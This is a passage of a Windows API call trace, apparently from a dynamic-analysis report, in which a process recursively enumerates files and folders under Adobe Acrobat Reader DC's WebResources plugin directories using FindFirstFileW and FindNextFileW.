ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x399, dwReserved0=0x0, dwReserved1=0x0, cFileName="plugin.js", cAlternateFileName="")) returned 1 [0248.878] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="plugins", cAlternateFileName="")) returned 1 [0248.878] GetProcessHeap () returned 0xc10000 [0248.878] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3912880 [0248.878] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\plugins\\*", lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0248.879] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0248.879] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rhp", cAlternateFileName="")) returned 1 [0248.879] GetProcessHeap () returned 0xc10000 [0248.880] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0248.880] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\plugins\\rhp\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03ca2d4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48e8 [0248.881] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03ca2d4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0248.881] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf03ca2d4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03ca2d4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03ca2d4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xdde, dwReserved0=0x0, dwReserved1=0x0, cFileName="combinepdf-selector.js", cAlternateFileName="COMBIN~1.JS")) returned 1 [0248.881] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf03ca2d4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03ca2d4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03ca2d4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x2616, dwReserved0=0x0, dwReserved1=0x0, cFileName="combinepdf-tool-view.js", cAlternateFileName="COMBIN~2.JS")) returned 1 [0248.881] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf03ca2d4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03ca2d4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03ca2d4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x2616, dwReserved0=0x0, dwReserved1=0x0, cFileName="combinepdf-tool-view.js", cAlternateFileName="COMBIN~2.JS")) returned 0 [0248.882] FindClose (in: hFindFile=0x33e48e8 | out: hFindFile=0x33e48e8) returned 1 [0248.882] GetProcessHeap () returned 0xc10000 [0248.882] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0248.882] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rhp", cAlternateFileName="")) returned 0 [0248.882] FindClose (in: hFindFile=0x33e47e8 | out: hFindFile=0x33e47e8) returned 1 [0248.882] GetProcessHeap () returned 0xc10000 [0248.882] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3912880 | out: hHeap=0xc10000) returned 1 [0248.882] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="plugins", cAlternateFileName="")) returned 0 [0248.883] FindClose (in: hFindFile=0x33e4f68 | out: hFindFile=0x33e4f68) returned 1 [0248.897] GetProcessHeap () returned 0xc10000 [0248.897] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39a28c0 | out: hHeap=0xc10000) returned 1 [0248.898] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5e010 | out: lpFindFileData=0x2e5e010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf02bf3c0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02bf3c0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02bf3c0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 0 [0248.898] FindClose (in: hFindFile=0x33e4ea8 | out: hFindFile=0x33e4ea8) returned 1 [0248.899] GetProcessHeap () returned 0xc10000 [0248.899] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39928b8 | out: hHeap=0xc10000) returned 1 [0248.899] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5e298 | out: lpFindFileData=0x2e5e298*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="createpdfupsell-app", cAlternateFileName="CREATE~1")) returned 1 [0248.900] GetProcessHeap () returned 0xc10000 [0248.900] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39928b8 [0248.900] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\createpdfupsell-app\\*", lpFindFileData=0x2e5e010 | out: lpFindFileData=0x2e5e010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0248.901] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5e010 | out: lpFindFileData=0x2e5e010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0248.901] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5e010 | out: lpFindFileData=0x2e5e010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="css", cAlternateFileName="")) returned 1 [0248.901] GetProcessHeap () returned 0xc10000 [0248.901] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39a28c0 [0248.901] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\createpdfupsell-app\\css\\*", lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49e8 [0248.902] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0248.903] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4cb, dwReserved0=0x0, dwReserved1=0x0, cFileName="main-selector.css", cAlternateFileName="MAIN-S~1.CSS")) returned 1 [0248.903] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x126e, dwReserved0=0x0, dwReserved1=0x0, cFileName="main.css", cAlternateFileName="")) returned 1 [0248.903] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x126e, dwReserved0=0x0, dwReserved1=0x0, cFileName="main.css", cAlternateFileName="")) returned 0 [0248.903] FindClose (in: hFindFile=0x33e49e8 | out: hFindFile=0x33e49e8) returned 1 [0248.903] GetProcessHeap () returned 0xc10000 [0248.903] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39a28c0 | out: hHeap=0xc10000) returned 1 [0248.903] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5e010 | out: lpFindFileData=0x2e5e010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="images", cAlternateFileName="")) returned 1 [0248.903] GetProcessHeap () returned 0xc10000 [0248.903] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39a28c0 [0248.903] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\createpdfupsell-app\\images\\*", lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ea8 [0248.927] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0248.927] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x2ab, dwReserved0=0x0, dwReserved1=0x0, cFileName="example_icons.png", cAlternateFileName="EXAMPL~2.PNG")) returned 1 [0248.927] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="example_icons2x.png", cAlternateFileName="EXAMPL~1.PNG")) returned 1 [0248.927] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1bd, dwReserved0=0x0, dwReserved1=0x0, cFileName="rhp_world_icon.png", cAlternateFileName="RHP_WO~2.PNG")) returned 1 [0248.927] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x263, dwReserved0=0x0, dwReserved1=0x0, cFileName="rhp_world_icon_2x.png", cAlternateFileName="RHP_WO~3.PNG")) returned 1 [0248.927] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x184, dwReserved0=0x0, dwReserved1=0x0, cFileName="rhp_world_icon_hover.png", cAlternateFileName="RHP_WO~4.PNG")) returned 1 [0248.927] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x228, dwReserved0=0x0, dwReserved1=0x0, cFileName="rhp_world_icon_hover_2x.png", cAlternateFileName="RHP_WO~1.PNG")) returned 1 [0248.928] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="themes", cAlternateFileName="")) returned 1 [0248.928] GetProcessHeap () returned 0xc10000 [0248.928] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3912880 [0248.929] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\createpdfupsell-app\\images\\themes\\*", lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4f68 [0248.930] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0248.930] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dark", cAlternateFileName="")) returned 1 [0248.930] GetProcessHeap () returned 0xc10000 [0248.930] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0248.930] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\createpdfupsell-app\\images\\themes\\dark\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48e8 [0248.932] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0248.932] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x2ab, dwReserved0=0x0, dwReserved1=0x0, cFileName="example_icons.png", cAlternateFileName="EXAMPL~2.PNG")) returned 1 [0248.932] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="example_icons2x.png", cAlternateFileName="EXAMPL~1.PNG")) returned 1 [0248.932] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x184, dwReserved0=0x0, dwReserved1=0x0, cFileName="rhp_world_icon.png", cAlternateFileName="RHP_WO~2.PNG")) returned 1 [0248.932] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x228, dwReserved0=0x0, dwReserved1=0x0, cFileName="rhp_world_icon_2x.png", cAlternateFileName="RHP_WO~3.PNG")) returned 1 [0248.932] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x184, dwReserved0=0x0, dwReserved1=0x0, 